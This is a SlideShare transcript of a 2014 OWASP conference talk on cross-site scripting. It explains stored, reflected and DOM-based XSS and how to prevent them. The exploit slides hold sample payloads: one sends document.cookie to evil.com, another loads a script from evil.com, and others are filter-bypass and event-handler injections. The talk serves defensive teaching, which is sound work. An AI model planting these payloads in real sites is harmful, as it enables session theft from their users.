SlideShare a Scribd company logo
1 of 24
OWASP A3: Cross Site
Scripting
Dubai, UAE. 27 August 2014
Michael Hendrickx
<mhendrickx@owasp.org>
Talk Outline
• What is XSS?
• Real life examples
• How to exploit it?
• How to prevent it?
What is XSS?
• Cross Site Scripting (XSS)
• An attack against other clients
What is XSS? (2)
• Webpages are a mix of content, style and code
– We want to inject code
<html>
<head>
<style>h1 { color: #FF0000 }</style>
</head>
<body>
<h1>Hello World</h1>
<script>
document.write(“How are you?”);
</script>
</body>
</html>
Style
Content
Code
What is XSS? (3)
• Request:
http://site.com/hello.php?name=<script>alert(“hack
ed!”);</script>
• Response:
<html>
<body>
<div>
Hello <script>alert(“hacked!”);</script>!
</div>
</body>
</html>
What can be done with XSS?
• Execute “Active content”
– Client side scripts (usually JavaScript, vbscript, …)
• Access cookie contents
– Steal your session
• Read keystrokes
• Submit forms, send data, …
• Exploit browser bugs
Real Life Examples
• MySpace Worm “Samy”[1]
– Visiting infected profile would add
author as “friend”.
– Infect own profile, thus infecting other friends
– 1.000.000 infections in 20 hours
• TweetDeck XSS Worm[2]
– Users automatically retweeted malicious code
– 80.000 infections
[1] http://namb.la/popular/
[2] http://www.forbes.com/sites/davelewis/2014/06/11/twitter-experiences-xss-flaw-in-tweetdeck/
Real Life Examples (2)
• Facebook[1]
– Vulnerable to cross site scripting
– Luckily, reported to Facebook security team
• Yahoo! services[2]
– 100’s of yahoo’s subdomains vulnerable
– Basically everything with a comment
[1] https://www.acunetix.com/websitesecurity/xss-facebook/
[2] http://nahamsec.com/2014/05/how-i-xssed-all-of-yahoos-services/
How to exploit XSS?
• Try to display your code to somebody else
• 3 Types of XSS
– Stored XSS
• Persistent XSS
• Malicious payload is stored in DB and is run by others
– Reflected XSS
• Non persistent
• Payload is embedded in URL
• Victim visits malicious URL and gets exploited
– DOM based XSS
• Payload executed by modifying DOM environment
• Can be persistent / non-persistent
How to exploit stored XSS?
• Requirements:
– Web page that saves user input
– Displays unfiltered* input back to others
• Same page (comment, posts on a forum, …)
• Other page (in app messages, ads, profile …)
*: Unfiltered or inadequately filtered
How to exploit stored XSS? (2)
• Career website
First name: John
Last name: Doe<script>document.write(‘<img
src=“http://evil.com/a.gif?’ +
escape(document.cookie) +’”/>’)</script>
Evil.com
Inject active
content
Access “resume”
Cookie contains session ID,
attacker can log in as victim.
HR ManagerAttacker
How to exploit reflected XSS?
• Requirements:
– Web page that displays unfiltered* part of the URL
– Convince victim to click on a link
• Using “social engineering”, email, IM, …
• May bypass phishing attacks (correct domain)
• Payload can be obfuscated
*: Unfiltered or inadequately filtered
How to exploit reflected XSS? (2)
• Career website
Hey, this candidate seems interesting!
http://site.com/search_cv.aspx?name=<script
src=“http://evil.com/a.js”></script>
Evil.com
Victim loads
malicious
JavaScript
How to exploit DOM XSS?
• When webpage modifies the DOM (Document
Object Model)
http://site.com/page.php#<script>alert(‘xss’);</script>
<html>
…
<script type=“text/javascript” src=“jquery.js”></script>
<script>
$(“#mydiv”).after(“Site is at : “ + document.location.href);
</script>
<div id=“mydiv”></div>
…
</html>
How to prevent XSS?
• Clients: Disable JavaScript
• Web Application Firewall
– Microsoft IIS Secure Parameter Filtering
ISS module that only accepts untampered input
https://spf.codeplex.com/
– ModSecurity
Opensource WAF module to detect and block attacks
http://modsecurity.org
How to prevent XSS? (2)
• Solve the problem at the core:
• Code refactoring
– Data input filtering
• Make sure we don’t accept / store any unwanted data
– Data output filtering / encoding
• Even if we have unwanted data, escape it so we don’t
execute JavaScript
How to prevent XSS? (3)
• Convert output characters
– Encoded characters will not be interpreted
Original Encoded
& &amp;
< &lt;
> &gt;
“ &quot;
‘ &#x27;
/ &#x2F;
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
How to prevent XSS? (4)
• It’s not just about stripping out HTML tags
– If you only filter out “<script>”:
<scr<script>ipt>
• Injection can happen in many places:
– Event handlers:
<body onload=“alert(‘xss’);”>
– CSS
<p style=“background:url(‘javascript:alert(123)’);”>
– URLS
<img title=something onclick=alert(1) ...>
Look ma, no quotes!
How to prevent XSS? (5)
• Useful code libraries
– Owasp HTML Sanitizer Project
https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project
– Microsoft Web Protection Library
http://wpl.codeplex.com/
– Microsoft AntiXSS Library
http://www.microsoft.com/en-us/download/details.aspx?id=43126
– HTML Purifier
http://htmlpurifier.org/
XSS Mitigations
• use HttpOnly cookies
– Will prevent JS from accessing cookies
Cache-Control: private
Content-Length: 150
Content-Type: text/html; charset=utf-8
Date: Mon, 25 Aug 2014 10:26:07 GMT
Location: /fvquickpay/frmPayOnline.aspx
Server: Microsoft-IIS/8.5
Set-Cookie: ASP.NET_SessionId=iqqkkt55il3ynxuqi1dckk55; path=/; HttpOnly
X-Aspnet-Version: 2.0.50727
X-Powered-By: ASP.NET
XSS Mitigations (2)
• Implement CSP
– Content Security Policy
– White list origins of external data
Content-Security-Policy: default-src: 'self';
script-src: 'self' static.domain.tld
Allow JS, CSS and images from same host.
Allow JS also from static.domain.tld.
XSS Mitigations (3)
• Instruct to disable XSS protection on
IE/Chrome
X-XSS-Protection: 1; mode=block
0 Disable XSS protection
1 Enables XSS protection
1; mode=block Enabled, blocks page instead of sanitizing
1; report=url Enabled, allow report to be sent to specific URL
Source: http://blog.veracode.com/2014/03/guidelines-for-setting-security-headers/
Conclusion
• You’re not the target, your users are
– Customers, sysadmins, …
• Don’t trust anything coming from user
– Even if it’s stored in the DB
– Check it server side, always.
• Filter using whitelists, not blacklists
• Layered security measures
• Escape all output
Questions?
Michael Hendrickx
mhendrickx@owasp.org | @ndrix
Further reading:
https://www.owasp.org/index.php/XSS_Prevention_Cheat_Sheet
https://html5sec.org/
http://securityoverride.org/filedb/file_db/Articles/xss.pdf

More Related Content

What's hot

XSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing toolXSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing toolArjun Jain
 
Cross Site Scripting
Cross Site ScriptingCross Site Scripting
Cross Site ScriptingAli Mattash
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scriptingkinish kumar
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Irfad Imtiaz
 
Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Ikhade Maro Igbape
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scriptingashutosh rai
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Barrel Software
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defensesMohammed A. Imran
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterMichael Coates
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Amit Tyagi
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)Ritesh Gupta
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)Manish Kumar
 
ECrime presentation - A few bits about malware
ECrime presentation - A few bits about malwareECrime presentation - A few bits about malware
ECrime presentation - A few bits about malwareMichael Hendrickx
 
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharCross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharSandeep Kumbhar
 
Cross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert BoxCross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert BoxAaron Weaver
 
Dom based xss
Dom based xssDom based xss
Dom based xssLê Giáp
 

What's hot (20)

XSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing toolXSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing tool
 
Cross Site Scripting
Cross Site ScriptingCross Site Scripting
Cross Site Scripting
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Xss (cross site scripting)
Xss (cross site scripting)Xss (cross site scripting)
Xss (cross site scripting)
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )
 
Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defenses
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning Center
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)
 
ECrime presentation - A few bits about malware
ECrime presentation - A few bits about malwareECrime presentation - A few bits about malware
ECrime presentation - A few bits about malware
 
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharCross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
 
Cross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert BoxCross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert Box
 
Identifying XSS Vulnerabilities
Identifying XSS VulnerabilitiesIdentifying XSS Vulnerabilities
Identifying XSS Vulnerabilities
 
Cross site scripting
Cross site scripting Cross site scripting
Cross site scripting
 
Dom based xss
Dom based xssDom based xss
Dom based xss
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 

Similar to Owasp Top 10 A3: Cross Site Scripting (XSS)

Hacking sites for fun and profit
Hacking sites for fun and profitHacking sites for fun and profit
Hacking sites for fun and profitDavid Stockton
 
Browser Security 101
Browser Security 101 Browser Security 101
Browser Security 101 Stormpath
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encodingEoin Keary
 
웹 개발을 위해 꼭 알아야하는 보안 공격
웹 개발을 위해 꼭 알아야하는 보안 공격웹 개발을 위해 꼭 알아야하는 보안 공격
웹 개발을 위해 꼭 알아야하는 보안 공격선협 이
 
XSS (Cross Site Scripting)
XSS (Cross Site Scripting)XSS (Cross Site Scripting)
XSS (Cross Site Scripting)Shubham Gupta
 
Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultMohammed ALDOUB
 
2013 OWASP Top 10
2013 OWASP Top 102013 OWASP Top 10
2013 OWASP Top 10bilcorry
 
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
Mr. Mohammed Aldoub  - A case study of django web applications that are secur...Mr. Mohammed Aldoub  - A case study of django web applications that are secur...
Mr. Mohammed Aldoub - A case study of django web applications that are secur...nooralmousa
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)Kishor Kumar
 
Web application security for java (XSS,Session Fixation)
Web application security for java (XSS,Session Fixation)Web application security for java (XSS,Session Fixation)
Web application security for java (XSS,Session Fixation)Ritesh Raushan
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threatAvădănei Andrei
 
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12Jim Manico
 
Building Secure User Interfaces With JWTs (JSON Web Tokens)
Building Secure User Interfaces With JWTs (JSON Web Tokens)Building Secure User Interfaces With JWTs (JSON Web Tokens)
Building Secure User Interfaces With JWTs (JSON Web Tokens)Stormpath
 
15 owasp top 10 - a3-xss
15   owasp top 10 - a3-xss15   owasp top 10 - a3-xss
15 owasp top 10 - a3-xssappsec
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applicationsDevnology
 
Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)Aman Singh
 

Similar to Owasp Top 10 A3: Cross Site Scripting (XSS) (20)

Hacking sites for fun and profit
Hacking sites for fun and profitHacking sites for fun and profit
Hacking sites for fun and profit
 
Browser Security 101
Browser Security 101 Browser Security 101
Browser Security 101
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
웹 개발을 위해 꼭 알아야하는 보안 공격
웹 개발을 위해 꼭 알아야하는 보안 공격웹 개발을 위해 꼭 알아야하는 보안 공격
웹 개발을 위해 꼭 알아야하는 보안 공격
 
XSS (Cross Site Scripting)
XSS (Cross Site Scripting)XSS (Cross Site Scripting)
XSS (Cross Site Scripting)
 
Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by Default
 
Complete xss walkthrough
Complete xss walkthroughComplete xss walkthrough
Complete xss walkthrough
 
2013 OWASP Top 10
2013 OWASP Top 102013 OWASP Top 10
2013 OWASP Top 10
 
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
Mr. Mohammed Aldoub  - A case study of django web applications that are secur...Mr. Mohammed Aldoub  - A case study of django web applications that are secur...
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)
 
Web application security for java (XSS,Session Fixation)
Web application security for java (XSS,Session Fixation)Web application security for java (XSS,Session Fixation)
Web application security for java (XSS,Session Fixation)
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
 
Building Secure User Interfaces With JWTs (JSON Web Tokens)
Building Secure User Interfaces With JWTs (JSON Web Tokens)Building Secure User Interfaces With JWTs (JSON Web Tokens)
Building Secure User Interfaces With JWTs (JSON Web Tokens)
 
15 owasp top 10 - a3-xss
15   owasp top 10 - a3-xss15   owasp top 10 - a3-xss
15 owasp top 10 - a3-xss
 
4.Xss
4.Xss4.Xss
4.Xss
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
 
Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)
 
Session7-XSS & CSRF
Session7-XSS & CSRFSession7-XSS & CSRF
Session7-XSS & CSRF
 

More from Michael Hendrickx

Social Engineering Trickx - Owasp Doha 2015
Social Engineering Trickx - Owasp Doha 2015Social Engineering Trickx - Owasp Doha 2015
Social Engineering Trickx - Owasp Doha 2015Michael Hendrickx
 
Social Engineering - Help AG spotlight 15Q2
Social Engineering - Help AG spotlight 15Q2Social Engineering - Help AG spotlight 15Q2
Social Engineering - Help AG spotlight 15Q2Michael Hendrickx
 
Help AG spot light - social engineering
Help AG spot light - social engineeringHelp AG spot light - social engineering
Help AG spot light - social engineeringMichael Hendrickx
 

More from Michael Hendrickx (6)

The Cross Window redirect
The Cross Window redirectThe Cross Window redirect
The Cross Window redirect
 
Social Engineering Trickx - Owasp Doha 2015
Social Engineering Trickx - Owasp Doha 2015Social Engineering Trickx - Owasp Doha 2015
Social Engineering Trickx - Owasp Doha 2015
 
Social Engineering - Help AG spotlight 15Q2
Social Engineering - Help AG spotlight 15Q2Social Engineering - Help AG spotlight 15Q2
Social Engineering - Help AG spotlight 15Q2
 
Help AG spot light - social engineering
Help AG spot light - social engineeringHelp AG spot light - social engineering
Help AG spot light - social engineering
 
Owasp Top 10 A1: Injection
Owasp Top 10 A1: InjectionOwasp Top 10 A1: Injection
Owasp Top 10 A1: Injection
 
Webpage Proxying
Webpage ProxyingWebpage Proxying
Webpage Proxying
 

Recently uploaded

Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...apidays
 
Platformless Horizons for Digital Adaptability
Platformless Horizons for Digital AdaptabilityPlatformless Horizons for Digital Adaptability
Platformless Horizons for Digital AdaptabilityWSO2
 
Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native ApplicationsWSO2
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc
 
Vector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptxVector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptxRemote DBA Services
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyKhushali Kathiriya
 
Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)Zilliz
 
WSO2's API Vision: Unifying Control, Empowering Developers
WSO2's API Vision: Unifying Control, Empowering DevelopersWSO2's API Vision: Unifying Control, Empowering Developers
WSO2's API Vision: Unifying Control, Empowering DevelopersWSO2
 
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...apidays
 
Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024Victor Rentea
 
Elevate Developer Efficiency & build GenAI Application with Amazon Q​
Elevate Developer Efficiency & build GenAI Application with Amazon Q​Elevate Developer Efficiency & build GenAI Application with Amazon Q​
Elevate Developer Efficiency & build GenAI Application with Amazon Q​Bhuvaneswari Subramani
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobeapidays
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FMESafe Software
 
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Jeffrey Haguewood
 
DEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
DEV meet-up UiPath Document Understanding May 7 2024 AmsterdamDEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
DEV meet-up UiPath Document Understanding May 7 2024 AmsterdamUiPathCommunity
 
[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdf[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdfSandro Moreira
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoffsammart93
 
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...apidays
 
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Angeliki Cooney
 

Recently uploaded (20)

Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
 
Platformless Horizons for Digital Adaptability
Platformless Horizons for Digital AdaptabilityPlatformless Horizons for Digital Adaptability
Platformless Horizons for Digital Adaptability
 
Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native Applications
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
Vector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptxVector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptx
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : Uncertainty
 
Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)
 
WSO2's API Vision: Unifying Control, Empowering Developers
WSO2's API Vision: Unifying Control, Empowering DevelopersWSO2's API Vision: Unifying Control, Empowering Developers
WSO2's API Vision: Unifying Control, Empowering Developers
 
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
 
Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024
 
Elevate Developer Efficiency & build GenAI Application with Amazon Q​
Elevate Developer Efficiency & build GenAI Application with Amazon Q​Elevate Developer Efficiency & build GenAI Application with Amazon Q​
Elevate Developer Efficiency & build GenAI Application with Amazon Q​
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
 
DEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
DEV meet-up UiPath Document Understanding May 7 2024 AmsterdamDEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
DEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
 
[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdf[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdf
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
 
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
 

Owasp Top 10 A3: Cross Site Scripting (XSS)

  • 1. OWASP A3: Cross Site Scripting Dubai, UAE. 27 August 2014 Michael Hendrickx <mhendrickx@owasp.org>
  • 2. Talk Outline • What is XSS? • Real life examples • How to exploit it? • How to prevent it?
  • 3. What is XSS? • Cross Site Scripting (XSS) • An attack against other clients
  • 4. What is XSS? (2) • Webpages are a mix of content, style and code – We want to inject code <html> <head> <style>h1 { color: #FF0000 }</style> </head> <body> <h1>Hello World</h1> <script> document.write(“How are you?”); </script> </body> </html> Style Content Code
  • 5. What is XSS? (3) • Request: http://site.com/hello.php?name=<script>alert(“hack ed!”);</script> • Response: <html> <body> <div> Hello <script>alert(“hacked!”);</script>! </div> </body> </html>
  • 6. What can be done with XSS? • Execute “Active content” – Client side scripts (usually JavaScript, vbscript, …) • Access cookie contents – Steal your session • Read keystrokes • Submit forms, send data, … • Exploit browser bugs
  • 7. Real Life Examples • MySpace Worm “Samy”[1] – Visiting infected profile would add author as “friend”. – Infect own profile, thus infecting other friends – 1.000.000 infections in 20 hours • TweetDeck XSS Worm[2] – Users automatically retweeted malicious code – 80.000 infections [1] http://namb.la/popular/ [2] http://www.forbes.com/sites/davelewis/2014/06/11/twitter-experiences-xss-flaw-in-tweetdeck/
  • 8. Real Life Examples (2) • Facebook[1] – Vulnerable to cross site scripting – Luckily, reported to Facebook security team • Yahoo! services[2] – 100’s of yahoo’s subdomains vulnerable – Basically everything with a comment [1] https://www.acunetix.com/websitesecurity/xss-facebook/ [2] http://nahamsec.com/2014/05/how-i-xssed-all-of-yahoos-services/
  • 9. How to exploit XSS? • Try to display your code to somebody else • 3 Types of XSS – Stored XSS • Persistent XSS • Malicious payload is stored in DB and is run by others – Reflected XSS • Non persistent • Payload is embedded in URL • Victim visits malicious URL and gets exploited – DOM based XSS • Payload executed by modifying DOM environment • Can be persistent / non-persistent
  • 10. How to exploit stored XSS? • Requirements: – Web page that saves user input – Displays unfiltered* input back to others • Same page (comment, posts on a forum, …) • Other page (in app messages, ads, profile …) *: Unfiltered or inadequately filtered
  • 11. How to exploit stored XSS? (2) • Career website First name: John Last name: Doe<script>document.write(‘<img src=“http://evil.com/a.gif?’ + escape(document.cookie) +’”/>’)</script> Evil.com Inject active content Access “resume” Cookie contains session ID, attacker can log in as victim. HR ManagerAttacker
  • 12. How to exploit reflected XSS? • Requirements: – Web page that displays unfiltered* part of the URL – Convince victim to click on a link • Using “social engineering”, email, IM, … • May bypass phishing attacks (correct domain) • Payload can be obfuscated *: Unfiltered or inadequately filtered
  • 13. How to exploit reflected XSS? (2) • Career website Hey, this candidate seems interesting! http://site.com/search_cv.aspx?name=<script src=“http://evil.com/a.js”></script> Evil.com Victim loads malicious JavaScript
